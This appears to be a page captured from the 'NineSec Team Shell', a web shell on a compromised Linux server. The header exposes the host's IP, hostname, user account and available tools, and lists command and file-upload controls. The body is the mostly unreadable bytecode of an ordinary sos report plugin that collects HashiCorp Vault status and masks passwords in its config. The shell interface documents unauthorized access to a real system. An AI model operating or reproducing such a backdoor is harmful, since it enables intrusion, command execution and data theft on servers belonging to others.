NineSec Team Shell
Server IP : 184.107.3.203  /  Your IP : 216.73.216.51
Web Server : Apache
System : Linux dedicated2.avenfashion.com.ph 4.18.0-553.40.1.el8_10.x86_64 #1 SMP Mon Feb 10 12:11:18 EST 2025 x86_64
User : adminteladeoro ( 1015)
PHP Version : 8.2.28
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/lib/python3.6/site-packages/sos/report/plugins/__pycache__/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //usr/lib/python3.6/site-packages/sos/report/plugins/__pycache__/vault.cpython-36.pyc
3

~�g��@s&ddlmZmZGdd�dee�ZdS)�)�Plugin�UbuntuPluginc@s4eZdZdZdZdZdZdZd
Zdd�Z	dd	�Z
d
S)�Vaultz�The Vault plugin collects the current status of the vault
    snap on a Ubuntu machine.

    It will collect logs from journal, vault status and configuration
    z3Manage access to secrets and protect sensitive data�vault�sysmgmt�securitycCs�d}|j|�ytt|ddd��\}xT|j�j�D]D}|s8q.|jd�}|dj�dkr.|djd	�}|jd
d|id�q.WWdQRXWn8tk
r�}z|jd
|�d|���WYdd}~XnXdS)Nz /var/snap/vault/common/vault.hcl�rzUTF-8)�encoding�=r�api_addr�z" zvault statusZ
VAULT_ADDR)�envzCould not open conf file z: )	Z
add_copy_spec�open�read�
splitlines�split�stripZadd_cmd_output�IOErrorZ
_log_error)�selfZ	vault_cfg�cfile�lineZwordsr�error�r�/usr/lib/python3.6/vault.py�setups

zVault.setupcCs|jddd�dS)Nz /var/snap/vault/common/vault.hclz(password\s?=\s?).*z\1******)Zdo_file_sub)rrrr�postproc/szVault.postprocN)rr)r)r)�__name__�
__module__�__qualname__�__doc__Z
short_descZplugin_nameZprofilesZservices�packagerrrrrrrsrN)Zsos.report.pluginsrrrrrrr�<module>s

NineSec Team - 2022